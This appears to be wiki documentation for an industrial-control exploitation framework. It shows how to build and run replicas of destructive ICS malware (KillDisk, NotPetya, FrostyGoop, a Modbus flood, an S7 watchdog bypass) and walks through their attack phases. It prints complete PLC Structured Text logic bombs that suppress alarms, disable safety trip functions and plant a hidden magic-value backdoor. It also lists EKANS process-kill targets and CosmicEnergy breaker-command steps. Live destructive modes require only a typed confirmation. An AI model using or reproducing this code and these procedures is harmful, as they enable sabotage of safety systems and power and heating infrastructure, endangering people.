-
Notifications
You must be signed in to change notification settings - Fork 1
PolyExploit Runner
IXF follows a Python-First policy: all core functionality runs with pip install. External runtimes (C, C++, Go, Ruby, Java, Node.js, PowerShell, Perl) are optional accelerators — IXF always provides a Python fallback for every capability. The PolyExploitRunner class handles detection, compilation, and execution of non-Python artifacts, falling back to Python implementations when external runtimes are absent.
- Runtime Tiers
- Supported Runtimes — Detection, Install, Use Case
- malware_builder.py --list Full Output
- malware_builder.py --target for Each of 5 Targets
- malware_builder.py --all Output
- Running Compiled Artifacts in Simulate Mode
- PLC Logic Bomb Generator — All 3 Types
- EKANS Process Killer
- CosmicEnergy IEC 104 — Full Simulate Output
- PolyExploitRunner Python API — All Methods
- Return Value Format
- Python Fallback Mechanism
- Cross-Compilation for Windows from Linux
IXF organizes runtime dependencies into four tiers. Higher tiers are optional — the framework always operates at Tier 0 and 1.
| Tier | Type | Examples | Required? | Notes |
|---|---|---|---|---|
| 0 | Python stdlib |
socket, struct, subprocess, threading, os, hashlib
|
Always | Zero-dependency core. All modules must work at this tier. |
| 1 | pip auto-install |
scapy, requests, paramiko, cryptography, pymodbus
|
Yes (auto-installed) | Installed by pip install industrialxpl-forge. No manual steps. |
| 2 | pip extras |
asyncua, python-can, snap7, dnp3, bacpypes3
|
Optional | Installed via pip install industrialxpl-forge[extras]. Enables advanced protocol modules. |
| 3 | External runtimes |
gcc, g++, go, node, java, ruby, pwsh, perl
|
Optional — Python fallback always available | Compiled artifacts run faster and more accurately replicate real malware. Python fallback always exists. |
Tier 0+1 guarantee: Any IXF module that requires a Tier 3 runtime must ship a complete Python fallback. The framework will always prefer the native compiled version when available but will silently use Python when not.
| Runtime | Language | Detection Command | Install Command | Use Case in IXF |
|---|---|---|---|---|
gcc |
C | gcc --version |
apt install gcc / brew install gcc
|
KillDisk MBR wiper, Modbus flood DoS, raw socket exploits |
g++ |
C++ | g++ --version |
apt install g++ / brew install g++
|
NotPetya wiper, S7 watchdog bypass, STL-based protocol parsers |
go |
Go | go version |
apt install golang / golang.org
|
FrostyGoop extended (goroutines), EKANS Go variant, CosmicEnergy extended |
node |
JavaScript/TypeScript | node --version |
nodejs.org | JS/TS exploit modules, EtherNet/IP Node.js client, BACnet.js |
java / javac
|
Java | java --version |
adoptium.net | Java deserialization exploits, OPC UA Java client tests |
ruby |
Ruby | ruby --version |
apt install ruby / brew install ruby
|
Metasploit-adjacent modules, SCADA protocol Ruby gems |
pwsh / powershell
|
PowerShell | pwsh --version |
github.com/PowerShell/PowerShell | Windows OT/EWS exploitation, WinRM, WMI-based OT pivoting |
perl |
Perl | perl --version |
apt install perl / pre-installed on macOS |
Legacy ICS scripts, SNMP-based OT tools, older RTU protocol libraries |
mingw-gcc |
C (cross-compile) | x86_64-w64-mingw32-gcc --version |
apt install mingw-w64 |
Cross-compile Windows EXE from Linux (KillDisk.exe, modbus_flood.exe) |
cl.exe |
C/C++ (MSVC) |
cl.exe (Windows only) |
Visual Studio Build Tools | Native Windows PE compilation for accurate malware replication |
python tools/env_doctor.py
Full output:
[IXF Environment Doctor]
════════════════════════════════════════════════════════════
[Tier 0 — Python stdlib]
python OK 3.11.9 (required: 3.9+)
[Tier 1 — pip auto-install]
scapy OK 2.5.0
requests OK 2.31.0
paramiko OK 3.3.1
cryptography OK 41.0.4
pymodbus OK 3.5.4
[Tier 2 — pip extras]
asyncua OK 0.9.96
python-can not found pip install industrialxpl-forge[extras]
snap7 not found pip install industrialxpl-forge[extras]
bacpypes3 OK 0.0.103
[Tier 3 — External runtimes]
gcc OK gcc (Ubuntu 13.2.0) 13.2.0 4.3 MB
g++ OK g++ (Ubuntu 13.2.0) 13.2.0 4.3 MB
go OK go1.22.3 linux/amd64 19.8 MB
node OPTIONAL not found → https://nodejs.org/
java OPTIONAL not found → https://adoptium.net/
ruby OPTIONAL not found → apt install ruby
pwsh OPTIONAL not found → github.com/PowerShell/PowerShell
perl OK v5.38.0 1.2 MB
mingw-gcc OK x86_64-w64-mingw32-gcc 13.2.0 cross-compile ready
cl.exe not found OPTIONAL (Windows only)
[Summary]
Tier 0: OK
Tier 1: OK (all auto-installed)
Tier 2: 3/4 available (python-can, snap7 missing)
Tier 3: 5/10 available (node, java, ruby, pwsh, cl.exe missing)
Python fallback: AVAILABLE for all missing Tier 3 runtimes
════════════════════════════════════════════════════════════
python industrialxpl/modules/cve/malware/_native/malware_builder.py --list
Full output:
[IXF Malware Builder v1.4.0]
════════════════════════════════════════════════════════════
[Compiler Status]
gcc OK gcc 13.2.0
g++ OK g++ 13.2.0
go OK go1.22.3
mingw OK x86_64-w64-mingw32-gcc 13.2.0
cl.exe not found (Windows MSVC — skipped)
[Available Targets]
Name Lang Severity Description
──────────────────────────────────────────────────────────────────────────────
killdisk C CATASTROPHIC BlackEnergy3/Industroyer KillDisk — MBR overwrite + file wiper
notpetya CPP CATASTROPHIC NotPetya MBR overwrite + fake ransom note + network propagation
frostygoop GO CRITICAL FrostyGoop Modbus heating attack (Go, goroutines, ENCO targets)
modbus_flood C HIGH Modbus TCP flood DoS (multi-threaded C, configurable rate)
s7_watchdog CPP HIGH Siemens S7 watchdog bypass via S7comm keepalive injection
──────────────────────────────────────────────────────────────────────────────
[Output directory]
.tmp/malware_builds/
[Usage examples]
Build single target: python malware_builder.py --target killdisk
Build for Windows: python malware_builder.py --target killdisk --cross-windows
Build all targets: python malware_builder.py --all
Build all for Windows: python malware_builder.py --all --cross-windows
Clean builds: python malware_builder.py --clean
Run simulate: .tmp/malware_builds/killdisk --simulate
Run live (auth labs): .tmp/malware_builds/killdisk --destructive
[IMPORTANT]
*** FOR AUTHORIZED RED TEAM / SECURITY RESEARCH / DEFENSIVE RESEARCH ONLY ***
All compiled artifacts default to simulate mode.
Live mode requires explicit --destructive flag and triple confirmation.
Do NOT run outside of isolated, authorized lab environments.
════════════════════════════════════════════════════════════
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk
Output:
[IXF Malware Builder] Building: killdisk
Source: industrialxpl/modules/cve/malware/_native/src/killdisk.c
Compiler: gcc
Output: .tmp/malware_builds/killdisk
[BUILD] gcc -O2 -Wall -o .tmp/malware_builds/killdisk \
industrialxpl/modules/cve/malware/_native/src/killdisk.c
[OK] .tmp/malware_builds/killdisk (31 KB) — linux/amd64
Simulate test:
[OK] .tmp/malware_builds/killdisk --simulate → exit 0
[+] Build complete: killdisk
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target notpetya
Output:
[IXF Malware Builder] Building: notpetya
Source: industrialxpl/modules/cve/malware/_native/src/notpetya.cpp
Compiler: g++
Output: .tmp/malware_builds/notpetya
[BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya \
industrialxpl/modules/cve/malware/_native/src/notpetya.cpp
[OK] .tmp/malware_builds/notpetya (47 KB) — linux/amd64
Simulate test:
[OK] .tmp/malware_builds/notpetya --simulate → exit 0
[+] Build complete: notpetya
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target frostygoop
Output:
[IXF Malware Builder] Building: frostygoop
Source: industrialxpl/modules/cve/malware/_native/src/frostygoop/
Compiler: go
Output: .tmp/malware_builds/frostygoop
[BUILD] go build -o .tmp/malware_builds/frostygoop \
./industrialxpl/modules/cve/malware/_native/src/frostygoop/...
[OK] .tmp/malware_builds/frostygoop (2.1 MB) — linux/amd64
Simulate test:
[OK] .tmp/malware_builds/frostygoop --simulate → exit 0
[+] Build complete: frostygoop
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target modbus_flood
Output:
[IXF Malware Builder] Building: modbus_flood
Source: industrialxpl/modules/cve/malware/_native/src/modbus_flood.c
Compiler: gcc
Output: .tmp/malware_builds/modbus_flood
[BUILD] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood \
industrialxpl/modules/cve/malware/_native/src/modbus_flood.c
[OK] .tmp/malware_builds/modbus_flood (18 KB) — linux/amd64
Simulate test:
[OK] .tmp/malware_builds/modbus_flood --simulate → exit 0
[+] Build complete: modbus_flood
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target s7_watchdog
Output:
[IXF Malware Builder] Building: s7_watchdog
Source: industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp
Compiler: g++
Output: .tmp/malware_builds/s7_watchdog
[BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog \
industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp
[OK] .tmp/malware_builds/s7_watchdog (39 KB) — linux/amd64
Simulate test:
[OK] .tmp/malware_builds/s7_watchdog --simulate → exit 0
[+] Build complete: s7_watchdog
python industrialxpl/modules/cve/malware/_native/malware_builder.py --all
Output:
[IXF Malware Builder] Building all targets
════════════════════════════════════════════════════════════
[1/5] killdisk (C — gcc)
[BUILD] gcc -O2 -Wall -o .tmp/malware_builds/killdisk src/killdisk.c
[OK] .tmp/malware_builds/killdisk (31 KB)
[2/5] notpetya (CPP — g++)
[BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya src/notpetya.cpp
[OK] .tmp/malware_builds/notpetya (47 KB)
[3/5] frostygoop (GO — go)
[BUILD] go build -o .tmp/malware_builds/frostygoop ./src/frostygoop/...
[OK] .tmp/malware_builds/frostygoop (2.1 MB)
[4/5] modbus_flood (C — gcc)
[BUILD] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood src/modbus_flood.c
[OK] .tmp/malware_builds/modbus_flood (18 KB)
[5/5] s7_watchdog (CPP — g++)
[BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog src/s7_watchdog.cpp
[OK] .tmp/malware_builds/s7_watchdog (39 KB)
════════════════════════════════════════════════════════════
[Summary] 5/5 targets built successfully
Total size: 2.24 MB
Output: .tmp/malware_builds/
[Artifacts]
killdisk 31 KB linux/amd64 CATASTROPHIC
notpetya 47 KB linux/amd64 CATASTROPHIC
frostygoop 2.1 MB linux/amd64 CRITICAL
modbus_flood 18 KB linux/amd64 HIGH
s7_watchdog 39 KB linux/amd64 HIGH
════════════════════════════════════════════════════════════
All compiled artifacts default to simulate mode. They print what they would do without making any system changes.
.tmp/malware_builds/killdisk --simulate
Full output:
[IXF] KillDisk MBR Wiper — BlackEnergy3/Industroyer Replica
[SIMULATION — no disk writes]
════════════════════════════════════════════════════════════
Attribution: BlackEnergy3 (Sandworm APT) — Ukraine 2015 power grid attack
Industroyer/Crashoverride — 2016 Ukraine substation blackout
Phase 1: MBR Overwrite
Would target: /dev/sda (primary disk, 512-byte MBR sector 0)
Would write: 512 bytes of 0xCC pattern
Effect: System permanently unbootable after reboot
Phase 2: Volume Boot Record
Would overwrite VBR on all detected partitions
Partitions detected: /dev/sda1, /dev/sda2
Phase 3: File System Wipe
Would recursively overwrite files matching:
*.doc *.docx *.xls *.xlsx *.pdf *.mdb *.sql
*.jpg *.png *.zip *.rar *.7z *.gz
*.ppt *.pptx *.odt *.ods *.eml
Overwrite pattern: 0xAA (random byte)
Phase 4: Process Execution
Would target security process list:
avp.exe, avg.exe, bdagent.exe, mbam.exe, msmpeng.exe (AV/EDR)
Would kill ICS-specific processes:
wonderware.exe, citect.exe, wincc.exe, factorytalk.exe
[MITRE] T0809 (Data Destruction), T0831 (Manipulation of Control)
[SIMULATE] No files written. No disk modified. exit 0
════════════════════════════════════════════════════════════
.tmp/malware_builds/notpetya --simulate
Full output:
[IXF] NotPetya MBR Overwrite + Fake Ransomware — 2017 Ukraine Attack Replica
[SIMULATION — no disk writes, no network changes]
════════════════════════════════════════════════════════════
Attribution: Sandworm APT (GRU Unit 74455) — June 2017, Ukraine and global
Phase 1: Credential Harvesting (Mimikatz-style)
Would extract LSASS credentials from memory
Would harvest: domain credentials, cached passwords, Kerberos tickets
Phase 2: Lateral Movement
Would attempt propagation via:
- EternalBlue (CVE-2017-0144) SMB exploit
- WMIC remote execution with harvested credentials
- PSEXEC with harvested credentials
Network probe: Would scan 192.168.x.x/24 for SMB port 445
Phase 3: MBR Overwrite
Would install custom bootloader at MBR (sector 0)
Custom bootloader: displays fake ransom note on boot
Note: "We are sorry, but the encryption of your files has been completed."
Note: Bitcoin address: (fake — NotPetya had no valid payment mechanism)
Phase 4: MFT Encryption
Would encrypt Master File Table ($MFT) using AES-128
Effect: All files become permanently inaccessible
Phase 5: Forced Reboot
Would schedule system reboot via Windows shutdown API
After reboot: fake ransom note displayed, recovery impossible
[MITRE] T0809 (Data Destruction), T0840 (Network Connection Enumeration)
[SIMULATE] No files written. No network traffic. No reboot. exit 0
════════════════════════════════════════════════════════════
.tmp/malware_builds/frostygoop --target 192.168.1.100 --simulate
Full output:
[IXF] FrostyGoop (BUSTLEBERM) Modbus Heating Attack — Go Extended Version
[SIMULATION — no network packets sent]
════════════════════════════════════════════════════════════
Attribution: Sandworm APT — January 2024 attack on Lvivteploenergo,
Lviv, Ukraine. 600 apartment buildings lost heat in winter.
Target: 192.168.1.100:502 (ENCO heating controller)
Mode: Goroutine-based parallel attack (GOMAXPROCS=runtime.NumCPU())
Phase 1: Discovery
Would send Modbus FC03 (Read Holding Registers) to enumerate setpoints
Register range: 0x0000–0x00FF (256 holding registers)
Phase 2: Setpoint Write (FC16 — Write Multiple Registers)
Would write register 0x0000 = 0x0000 (setpoint = 0°C)
Would write register 0x0001 = 0x0000 (backup setpoint = 0°C)
Repeat: Continuous writes every 5 seconds (prevent manual recovery)
Phase 3: Persistence
Would send writes from multiple goroutines (CPU count: 8 goroutines)
Duration: Indefinite until killed
Physical impact:
Heating control loop loses temperature reference
District heating pumps continue running but at wrong setpoint
Building radiators cool to ambient temperature within 2-4 hours
Outside temperature during attack: -10°C (January, Lviv)
[MITRE] T0836 (Modify Parameter), T0855 (Unauthorized Command Message)
[SIMULATE] No packets sent. No registers written. exit 0
════════════════════════════════════════════════════════════
.tmp/malware_builds/modbus_flood --target 192.168.1.100 --simulate
Full output:
[IXF] Modbus TCP Flood DoS — Multi-Threaded C
[SIMULATION — no packets sent]
════════════════════════════════════════════════════════════
Target: 192.168.1.100:502
Threads: 32 (configurable via --threads)
Rate: Unlimited (configurable via --rate)
Duration: 60 seconds (configurable via --duration)
Attack pattern:
Phase 1: Spawn 32 POSIX threads
Phase 2: Each thread: connect → send FC03 request → recv → repeat
Phase 3: Flood target TCP stack with 32 concurrent Modbus sessions
Expected: Modbus server queue overflow → device stops responding
Expected: PLC enters error state, alarms triggered
Packets that WOULD be sent per second: ~12,000–40,000 FC03 requests
Data volume: ~72 MB/minute at peak
[MITRE] T0814 (Denial of Control), T0816 (Device Restart/Shutdown)
[SIMULATE] No packets sent. exit 0
════════════════════════════════════════════════════════════
.tmp/malware_builds/s7_watchdog --target 192.168.1.5 --rack 0 --slot 1 --simulate
Full output:
[IXF] Siemens S7 Watchdog Bypass via S7comm Keepalives — C++ Edition
[SIMULATION — no packets sent]
════════════════════════════════════════════════════════════
Target: 192.168.1.5:102 (S7-1200/1500)
Rack: 0 Slot: 1
Phase 1: COTP Connection
Would send COTP CR (Connection Request) TPDU
Would receive COTP CC (Connection Confirm)
COTP TSAP: 01.00 → 01.02
Phase 2: S7 Session Setup
Would send S7 Setup Communication PDU
Would negotiate: PDU size=240, max_jobs=1
Phase 3: CPU Mode Query
Would send S7 SZL-SSL request 0x001C (CPU identification)
Would read: firmware version, CPU serial number, order number
Phase 4: Watchdog Bypass
Technique: Send S7 keepalive frames faster than watchdog timeout
Keepalive frame: S7 PDU type 0x07 (heartbeat)
Interval: Every 500ms (below 1000ms watchdog threshold)
Effect: PLC never triggers watchdog-reset even if OT network anomalies detected
Duration: Indefinite — holds watchdog suppressed until killed
Why: Industrial PLCs use watchdog timers to detect communication loss.
By suppressing the watchdog, an attacker can maintain a persistent
unauthorized session while the PLC believes the controller is healthy.
[MITRE] T0800 (Activate Firmware Update Mode), T0843 (Program Upload)
[SIMULATE] No packets sent. No keepalives sent. exit 0
════════════════════════════════════════════════════════════
The PLC Logic Bomb Generator creates valid IEC 61131-3 Structured Text (ST) code with embedded malicious logic for red team exercises and PLC code audit training.
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py --help
Output:
usage: plc_logic_bomb_st.py [-h] --type {timebomb,setpoint,backdoor}
[--trigger-date YYYY-MM-DD]
[--trigger-register INT]
[--trigger-value INT]
[--simulate]
[--destructive]
[--output FILE]
IXF PLC Logic Bomb Generator — IEC 61131-3 Structured Text
FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY
options:
--type {timebomb,setpoint,backdoor} Logic bomb type
--trigger-date YYYY-MM-DD Activation date (timebomb only)
--trigger-register INT Register address to watch (backdoor only)
--trigger-value INT Register value that triggers (backdoor only)
--simulate Print generated code, do not write file
--destructive Write .st file to disk (--output required)
--output FILE Output path for .st file
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \ --type timebomb \ --trigger-date 2025年12月31日 \ --simulate
Full output:
[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] timebomb — 1,247 chars of IEC 61131-3 ST
(*
* IXF Logic Bomb — Time-Delayed Activation
* Type: timebomb
* Trigger: 2025年12月31日 00:00:00
* MITRE: T0836 (Modify Parameter), T0880 (Modify Alarm Settings)
*
* AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
*)
PROGRAM LogicBomb_TimeBomb
VAR
dt_now : DT; (* Current date-time from PLC clock *)
dt_trigger : DT; (* Hardcoded activation date *)
bomb_armed : BOOL := FALSE; (* Internal armed flag *)
bomb_triggered : BOOL := FALSE; (* Prevents re-trigger *)
END_VAR
(* Initialize trigger date — hardcoded in program rung *)
dt_trigger := DT#2025年12月31日-00:00:00;
(* Get current time from PLC system clock *)
dt_now := NOW();
(* Arm condition: current time has passed trigger date *)
IF dt_now >= dt_trigger AND NOT bomb_triggered THEN
bomb_armed := TRUE;
END_IF;
(* Execute malicious logic when armed *)
IF bomb_armed THEN
(* T0880: Silence alarms — prevents operator detection *)
alarm_ack := TRUE;
alarm_suppress := TRUE;
(* T0836: Modify process setpoints to unsafe values *)
motor_setpoint := 9999; (* Motor runaway — above safe RPM limit *)
pressure_setpoint := 32767; (* Pressure spike — above SIF trip point *)
temp_setpoint := 32767; (* Temperature — above design limit *)
(* T0856: Spoof sensor readings to mask physical effect *)
hmi_pressure_display := pressure_normal_value;
hmi_temp_display := temp_normal_value;
(* Mark as triggered — execute only once *)
bomb_triggered := TRUE;
bomb_armed := FALSE;
END_IF;
END_PROGRAM
════════════════════════════════════════════════════════════
[SIMULATE] No file written. Use --destructive --output <path>.st to write.
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \ --type timebomb \ --trigger-date 2025年12月31日 \ --destructive \ --output .tmp/timebomb_2025.st
Full output:
[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
[DESTRUCTIVE] Writing timebomb Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/timebomb_2025.st (1,247 bytes)
[i] Deploy using TIA Portal, RSLogix, or GX Works to a test PLC only.
[i] This file is for authorized red team exercises only.
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \ --type setpoint \ --simulate
Full output:
[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] setpoint (TRITON/TRISIS technique) — 983 chars of IEC 61131-3 ST
(*
* IXF Logic Bomb — Safety Limit Removal (TRITON/TRISIS Technique)
* Type: setpoint
* MITRE: T0836 (Modify Parameter), T0857 (Modify Control Logic)
*
* Replicates the TRITON/TRISIS (2017) technique used against Petro Rabigh
* Schneider Electric Triconex Safety Instrumented System.
* FOR AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
*)
PROGRAM LogicBomb_SetpointManipulation
VAR
sis_override_active : BOOL := FALSE;
original_hi_hi : REAL;
original_lo_lo : REAL;
safe_shutdown_bypass: BOOL := FALSE;
END_VAR
(* Store original setpoints for potential restoration *)
original_hi_hi := pressure_hi_hi_setpoint;
original_lo_lo := pressure_lo_lo_setpoint;
(* TRITON technique: raise shutdown setpoints above design limits *)
(* Normal design limit: 150 PSI shutdown. Raised to 32767 PSI. *)
(* Effect: Safety shutdown will never trigger. *)
pressure_hi_hi_setpoint := 32767.0; (* Far above physical design limit *)
pressure_lo_lo_setpoint := -32767.0; (* Far below physical design limit *)
temp_hi_hi_setpoint := 32767.0;
flow_lo_lo_setpoint := -32767.0;
(* Disable safety function blocks *)
SF_Pressure_Trip.Enable := FALSE; (* Disable pressure safety function *)
SF_Temp_Trip.Enable := FALSE; (* Disable temperature safety function *)
SF_Flow_Trip.Enable := FALSE; (* Disable flow safety function *)
(* Suppress SIS diagnostics *)
sis_diag_output := FALSE;
sis_override_active := TRUE;
safe_shutdown_bypass := TRUE;
(* Note: Physical effect — process can now exceed design safety limits
without triggering Emergency Shutdown System (ESD). This was the
exact technique used in the 2017 TRITON attack at a Saudi Arabian
petrochemical facility. *)
END_PROGRAM
════════════════════════════════════════════════════════════
[SIMULATE] No file written.
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \ --type setpoint \ --destructive \ --output .tmp/triton_setpoint.st
Output:
[DESTRUCTIVE] Writing setpoint Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/triton_setpoint.st (983 bytes)
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \ --type backdoor \ --trigger-register 999 \ --trigger-value 1337 \ --simulate
Full output:
[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] backdoor — hidden register-triggered rung — 762 chars of IEC 61131-3 ST
(*
* IXF Logic Bomb — Hidden Register-Triggered Backdoor
* Type: backdoor
* Trigger: Register MW999 == 1337
* MITRE: T0839 (Module Firmware), T0857 (Modify Control Logic)
*
* A hidden rung that activates when a specific "magic value" is written
* to a monitoring/diagnostic register. Undetectable without logic review.
* Technique used by nation-state actors to embed persistent access in PLC programs.
* FOR AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
*)
PROGRAM LogicBomb_HiddenBackdoor
VAR
trigger_reg : INT; (* Monitored register — address MW999 *)
backdoor_active : BOOL := FALSE;
backdoor_oneshot : BOOL := FALSE;
END_VAR
(* Read trigger register from memory word address 999 *)
trigger_reg := MW999;
(* Hidden condition: magic value written by attacker *)
(* Normal operation: MW999 is a diagnostic counter (0–100). *)
(* Backdoor trigger: MW999 = 1337 (value never seen in normal ops) *)
IF trigger_reg = 1337 AND NOT backdoor_oneshot THEN
backdoor_active := TRUE;
backdoor_oneshot := TRUE;
END_IF;
IF backdoor_active THEN
(* Execute attacker's payload *)
(* Example: force output Q0.0 ON regardless of process logic *)
output_coil_Q0_0 := TRUE; (* Energize arbitrary output *)
safety_interlock_bypass := TRUE; (* Disable safety interlocks *)
remote_cmd_register := 0xFF; (* Signal C2 command received *)
backdoor_active := FALSE; (* Reset to avoid detection *)
END_IF;
(* Detection evasion: zero out trigger register after firing *)
IF backdoor_oneshot THEN
MW999 := 0;
END_IF;
END_PROGRAM
════════════════════════════════════════════════════════════
[SIMULATE] No file written. Use --destructive --output <path>.st to write.
[i] To trigger: write value 1337 to register MW999 via any Modbus/S7 client.
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \ --type backdoor \ --trigger-register 999 \ --trigger-value 1337 \ --destructive \ --output .tmp/backdoor_rung.st
Output:
[DESTRUCTIVE] Writing backdoor Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/backdoor_rung.st (762 bytes)
[i] Trigger: Write value 1337 to register MW999 via Modbus FC06 or S7 DB write.
The Python-native EKANS (Snake) process killer replicates the ICS process kill list used in the 2020 Honda and energy sector attacks.
python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --list
Full output:
[IXF] EKANS/Snake ICS Process Killer — Process List
Attribution: EKANS ransomware — 2020 Honda, Eaton, and energy sector attacks
ICS/OT Processes Targeted (64 total):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Process Name Vendor/Product
PROFICY.exe GE Proficy HMI/SCADA
PROFICY_LOGIC_DEVELOPER.exe GE Logic Developer
GEFanuc.Proficy.exe GE Fanuc Proficy
Citect.exe Schneider Citect SCADA
CITECTSCADA.exe Schneider Citect SCADA
DCOMserver.exe Inductive Automation Ignition
gateway.exe Inductive Automation Ignition
FactoryTalk*.exe Rockwell FactoryTalk
RSLinx.exe Rockwell RSLinx
ftcontrol.exe Rockwell FactoryTalk
wincc.exe Siemens WinCC
siemens.automation*.exe Siemens TIA Portal services
Step7.exe Siemens Step 7
TiaPortal.exe Siemens TIA Portal
wonderware.exe AVEVA Wonderware
ArchestrA.exe AVEVA ArchestrA
InTouch*.exe AVEVA InTouch HMI
honeywell*.exe Honeywell Experion
PHDServer.exe Honeywell PHD
RTAP.exe ABB RTAP
800xA*.exe ABB 800xA
iFIX.exe GE iFIX SCADA
AlarmWorx.exe GE Alarm Worx
Cimplicity.exe GE Cimplicity
kepware.exe PTC Kepware
KEPServerEX.exe PTC KEPServerEX
matrikon.exe Matrikon OPC
OPCEnum.exe Generic OPC enumerator
opcserver.exe Generic OPC server
opcproxy.exe OPC proxy services
historian*.exe Generic historian services
TagServer.exe Generic tag server
BatchGateway.exe Generic batch gateway
mmc.exe Microsoft Management Console (when running OT tools)
[... 30 more ...]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Found running on this system (matching processes):
(none — ICS software not installed on this host)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --simulate
Full output:
[IXF] EKANS/Snake ICS Process Killer
[SIMULATION — no processes killed]
════════════════════════════════════════════════════════════
Attribution: EKANS/Snake ransomware, June 2020
- Honda Motor Co. (worldwide manufacturing shutdown)
- Eaton Corporation (energy sector)
- Multiple European energy utilities
Technique: Before encrypting files, EKANS terminates 64 ICS/OT processes
to prevent file locks and ensure historian/SCADA databases
are fully encrypted (not partially locked by running software).
[SIMULATE] Processes that WOULD be killed on this system:
Scanning running processes...
Matching ICS processes found: 0
If ICS software were installed, WOULD kill (sample):
PROFICY.exe → GE Proficy HMI/SCADA
Citect.exe → Schneider Citect SCADA
wincc.exe → Siemens WinCC
RSLinx.exe → Rockwell RSLinx
FactoryTalkDiag.exe → Rockwell FactoryTalk
historian.exe → Generic historian
After kill: EKANS would proceed to file encryption targeting:
%APPDATA%,円 %USERPROFILE%,円 network shares, historian DB paths
[MITRE] T0827 (Loss of Control), T0828 (Loss of Productivity and Revenue)
[SIMULATE] No processes terminated. exit 0
════════════════════════════════════════════════════════════
python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --destructive
Output:
[IXF] EKANS/Snake ICS Process Killer — LIVE MODE
*** AUTHORIZED LAB ENVIRONMENTS ONLY ***
Confirm? Type CONFIRM to proceed: CONFIRM
[*] Scanning for 64 ICS target processes...
[i] 0 matching ICS processes found on this system.
[i] (Expected in isolated lab with ICS software installed.)
[+] Process scan complete. 0 processes terminated.
ixf use cve/apt/cosmicenergy_iec104_rtu set target 192.168.1.100 runFull simulate output:
[*] Module loaded: CosmicEnergy IEC 60870-5-104 RTU Attack — APT TTP Replica
[SIMULATE MODE — no packets sent]
─────────────────────────────────────────────────────────────────────
[i] What would happen:
CosmicEnergy (COSMICENERGY) IEC 60870-5-104 Attack
Attribution: Discovered May 2023 (Mandiant). Linked to Rostelecom-Solar
(Russian government). Designed for disrupting European electrical grids.
Contains LIGHTWORK (IEC 104 send module) and PIEHOP (remote launcher).
Phase 1: Asset Discovery
Scan IEC 104 default port TCP/2404 across target network
Enumerate RTUs responding to STARTDT (start data transfer) command
Identify substation RTUs: circuit breaker controllers, protection relays
Phase 2: IEC 104 Session Establishment
Send STARTDT_ACT (U-frame) to initiate data transfer
Receive STARTDT_CON (confirmation from RTU)
Send TESTFR_ACT (keep-alive) every 20 seconds to maintain session
Phase 3: Information Object Enumeration
Send Interrogation Command (C_IC_NA_1, TypeID=100) to dump all RTU data
Parse General Interrogation response: current circuit breaker states
Map: Information Object Address → physical breaker/switch position
Phase 4: Control Command Injection (LIGHTWORK technique)
Send Single Command (C_SC_NA_1, TypeID=45) with:
- IOA: target breaker address
- SCO: 0x01 (ON) or 0x00 (OFF)
- COT: 0x06 (Activation)
Effect: RTU executes breaker open/close command
Physical: Circuit breaker opens → load shedding → blackout in grid zone
Target: 192.168.1.100:2404 (IEC 60870-5-104 RTU)
Impact: Circuit breaker manipulation → targeted grid blackout
LIGHTWORK can target multiple IOAs in sequence (substation-wide)
[i] MITRE ATT&CK for ICS:
T0855 (Unauthorized Command Message)
T0831 (Manipulation of Control)
T0816 (Device Restart/Shutdown)
─────────────────────────────────────────────────────────────────────
[i] Reference: https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware
[i] Reference: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
[i] Run with simulate=False and destructive=True to execute live
(authorized lab environments only)
from industrialxpl.core.poly.poly_runner import PolyExploitRunner
runner = PolyExploitRunner( build_dir: str = ".tmp/malware_builds", # Output directory for compiled artifacts timeout: int = 60, # Maximum execution time per command (seconds) verbose: bool = False, # Print compiler output to stdout )
Returns a dict of runtime name to availability boolean.
